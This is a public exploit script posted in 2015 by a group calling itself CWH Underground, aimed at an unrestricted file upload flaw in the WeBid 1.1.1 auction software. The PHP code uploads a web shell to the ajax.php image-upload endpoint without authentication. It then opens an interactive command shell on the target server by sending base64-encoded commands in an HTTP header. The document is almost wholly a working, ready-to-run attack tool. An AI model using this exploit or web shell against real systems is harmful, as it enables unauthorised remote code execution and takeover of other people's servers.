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WeBid 1.1.1 Unrestricted File Upload

Posted on 24 February 2015

<?php

/*

 ,--^----------,--------,-----,-------^--,
 | ||||||||| `--------' | O .. CWH Underground Hacking Team ..
 `+---------------------------^----------|
 `\_,-------, _________________________|
 / XXXXXX /`| /
 / XXXXXX / ` /
 / XXXXXX /\______(
 / XXXXXX /
 / XXXXXX /
 (________(
 `------'

 Exploit Title : WeBid 1.1.1 Unrestricted File Upload Exploit
 Date : 20 February 2015
 Exploit Author : CWH Underground
 Site : www.2600.in.th
 Vendor Homepage : http://www.webidsupport.com/
 Software Link : http://sourceforge.net/projects/simpleauction/files/simpleauction/WeBid%20v1.1.1/WeBid-1.1.1.zip/download
 Version : 1.1.1
 Tested on : Window and Linux

#####################################################
VULNERABILITY: Arbitrary File Upload Vulnerability
#####################################################

/ajax.php
/inc/plupload/examples/upload.php

#####################################################
DESCRIPTION
#####################################################

This exploit a file upload vulnerability found in WeBid 1.1.1, and possibly prior. Attackers can abuse the
upload feature in order to upload a malicious PHP file without authentication, which results in arbitrary remote code execution.

#####################################################
EXPLOIT
#####################################################

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
 if (!($sock = fsockopen($host, 80)))
 die("
[-] No response from {$host}:80
");

 fputs($sock, $packet);
 return stream_get_contents($sock);
}

print "
+----------------------------------------+";
print "
| WeBid Unrestricted File Upload Exploit |";
print "
+----------------------------------------+
";

if ($argc < 3)
{
 print "
Usage......: php $argv[0] <host> <path>
";
 print "
Example....: php $argv[0] localhost /";
 print "
Example....: php $argv[0] localhost /WeBid/
";
 die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "--o0oOo0o
";
$payload .= "Content-Disposition: form-data; name="name"

";
$payload .= "shell.php
";
$payload .= "--o0oOo0o
";
$payload .= "Content-Disposition: form-data; name="file"; filename="shell.php"
";
$payload .= "Content-Type: application/octet-stream

";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD]));
";
$payload .= "--o0oOo0o--
";

$packet = "POST {$path}ajax.php?do=uploadaucimages HTTP/1.1
";
$packet .= "Host: {$host}
";
$packet .= "Content-Length: ".strlen($payload)."
";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o
";
$packet .= "Cookie: PHPSESSID=cwh"."
";
$packet .= "Connection: close

{$payload}";

print "

Exploiting...";
sleep(2);
print "Waiting for shell...
";
sleep(2);

http_send($host, $packet);

$packet = "GET {$path}uploaded/cwh/shell.php HTTP/1.1
";
$packet .= "Host: {$host}
";
$packet .= "Cmd: %s
";
$packet .= "Connection: close

";

 print "
 ,--^----------,--------,-----,-------^--, 
";
 print " | ||||||||| `--------' | O 
";
 print " `+---------------------------^----------| 
";
 print " `\_,-------, _________________________| 
";
 print " / XXXXXX /`| / 
";
 print " / XXXXXX / ` / 
";
 print " / XXXXXX /\______( 
";
 print " / XXXXXX / 
";
 print " / XXXXXX / .. CWH Underground Hacking Team .. 
";
 print " (________( 
";
 print " `------' 
";

while(1)
{
 print "
Webid-shell# ";
 if (($cmd = trim(fgets(STDIN))) == "exit") break;
 $response = http_send($host, sprintf($packet, base64_encode($cmd)));
 preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("
[-] Exploit failed!
");
}

################################################################################################################
# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>

 

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